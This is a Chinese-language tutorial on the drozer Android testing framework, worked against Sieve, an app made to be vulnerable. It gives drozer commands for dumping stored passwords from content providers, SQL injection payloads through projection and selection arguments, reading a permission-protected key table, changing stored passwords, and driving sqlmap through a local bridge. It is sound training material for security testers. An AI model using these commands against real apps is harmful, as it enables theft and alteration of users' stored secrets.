drozer是个好东西,虽然现在分为免费和专业版,但专业版也就增加了GUI界面之类的无关痛痒的东西,下面逐一介绍一下drozer的各种姿势。
使用前应保证下面的东西都安装完毕:Java Runtime Environment (JRE) or Java Development Kit (JDK)(jdk中自带许多小工具,之后文章会有简绍)
Android SDK(SDK中同样自带许多小工具,之后文章会有简绍)
adb路径正确(adb运行需配置sdk环境变量)
java路径正确1.以win平台为例,下载安装包,下载好后压缩包内如图;setup是装win上的,agent是装手机上的,装上后如图,打开屏幕下方的开关。
adb forward tcp:31415 tcp:31415 //将pc端31415的所有数据转发到手机上的31415端口
drozer.bat console connect //使用drozer console 连接agent
获取手机上所有安装的app包名:run app.package.list 加上”-f [app关键字]”查找某个app,如 run app.package.list -f sieve
得到sieve的包名为com.mwr.example.sieve
获取sieve的基本信息 run app.package.info -a com.mwr.example.sieve
可以看到sieve的版本信息,数据存储目录,用户ID,组ID,共享库,权限等信息
查找攻击面,主要关注Android 固有的IPC通信机制的脆弱性,这些特点导致了这个App泄漏敏感信息给同一台设备上的其它App
run app.package.attacksurface com.mwr.example.sieve
进一步获取每个组件的攻击面信息,如activity
run app.activity.info -a com.mwr.example.sieve
其中. MainLoginActivity是app启动时的主界面,必须可以导出,但其他两个activity正常情况下是不能导出的
用drozer来启动可导出且不需要权限的activity
run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
获取content provider的信息
run app.provider.info -a com.mwr.example.sieve
结合第7步收集的信息,这2个content provider都可导出,com.mwr.example.sieve.DBContentProvider/Keys 是需要读写权限的。
11、使用drozer的scanner模块去猜测可能存在的URIs
run scanner.provider.finduris -a com.mwr.example.sieve
12、通过URI从content中获取信息
run app.provider.query --vertical content://com.mwr.example.sieve.DBContentProvider/Passwords/
13、查找可进行sql注入的URIs(client-side-SQLi)
①、使用如下命令检测可注入的URI的注入点
run scanner.provider.injection -a com.mwr.example.sieve
可以看出Projection参数和Selection参数均存在注入
②、使用projection参数传递sql注入语句到content provider中
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
通过sql注入列出当前数据库DBContentProvider中的所有表名和字段名
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* from sqlite_master where type='table';--" --vertical
虽然访问Keys这个URI需要READ_KEYS和WRITE_KEYS权限,但我们可以绕过权限来读取Key表的内容(不算真正的sql注入,DBcontentProvevider这个数据库本来就导出)
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* from Key;--"
③、使用selection 参数传递sql注入语句到content provider中
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
通过sql注入update数据库的内容,原来service的值为qwert
run app.provider.update content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "_id=1" --string service qazwsx
②、使用WebContentResolver和sqlmap进行跨库注入
安装WebContentResolver用于将content provider映射到web,首先建立转发adb forward tcp:8080 tcp:8080,在浏览器里打开http://localhost:8080,构造URL
对于content://providers/Parameter1/Parameter2/../ ParameterN Column:字段,如_id ,data:为字段数据 对应
http://localhost:8080/query?a=providers&path0=Parameter1&path1=Parameter2&pathn=parameterN&selName=column&selId=data
然后将此url用sqlmap进行注入。
参考Android app端的sql注入,安卓app的sql注入跨库查询问题,Android App Injection&&Drozer Use
一如既往的学习,一如既往的整理,一如即往的分享。感谢支持
扫描关注LemonSec
本文始发于微信公众号(LemonSec):Android安全(二)—-攻击框架drozer全功能介绍
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论